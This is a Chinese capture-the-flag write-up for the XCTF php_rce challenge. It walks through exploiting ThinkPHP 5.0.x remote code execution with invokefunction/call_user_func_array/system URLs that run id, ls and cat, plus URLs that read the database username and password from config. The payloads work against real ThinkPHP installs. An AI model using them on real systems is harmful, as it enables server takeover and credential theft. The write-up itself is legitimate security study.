攻防世界php_rce

#小青蛙一枚,仅做学习记录

题目

ThinkPHP V5的相关漏洞
攻防世界php_rce

实操

1.打开github,搜索相关ThinnkPHP的漏洞,查看第一条。攻防世界php_rce
2.根据题目的提示,选取5.0版本的漏洞进行实验。假如我们选取了

http://127.0.0.1/tp5/public/?s=index/thinkView/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1 

攻防世界php_rce
会有一个报错提示,提示我们选取5.0.20版本。
攻防世界php_rce
3.查看后,发现有以下两个版本可用。
攻防世界php_rce
4. thinkphp 5.0.22
注意复制的时候从?s开始复制,前面的地址是靶场的地址。

1、http://192.168.1.1/thinkphp/public/?s=.|thinkconfig/get&name=database.username 2、http://192.168.1.1/thinkphp/public/?s=.|thinkconfig/get&name=database.password 3、http://url/to/thinkphp_5.0.22/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 4、http://url/to/thinkphp_5.0.22/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 

5.thinkphp 5.0.21
注意复制的时候从?s开始复制,前面的地址是靶场的地址。

1、http://localhost/thinkphp_5.0.21/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 2、http://localhost/thinkphp_5.0.21/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 

6.我使用的是以下代码,前面地址是攻防世界的此题目的靶场地址,可以看到远程代码执行成功。

http://111.200.241.244:52487/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 
攻防世界php_rce

7.使用ls查看目录,并没有发现flag。

http://111.200.241.244:52487/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls 

8.继续向上级目录查看ls …/…/…/ ,可以一级一级查询,也可以使用find命令find / -name “flag”

 http://111.200.241.244:52487/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../ 

攻防世界php_rce
9.使用cat命令查看flag,得到flag

http://111.200.241.244:52487/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag 
攻防世界php_rce

flag{thinkphp5_rce} flag{thinkphp5_rce}

总结

无。
攻防世界php_rce

版权声明:玥玥 发表于 2021-06-11 16:37:13。
转载请注明:攻防世界php_rce | 女黑客导航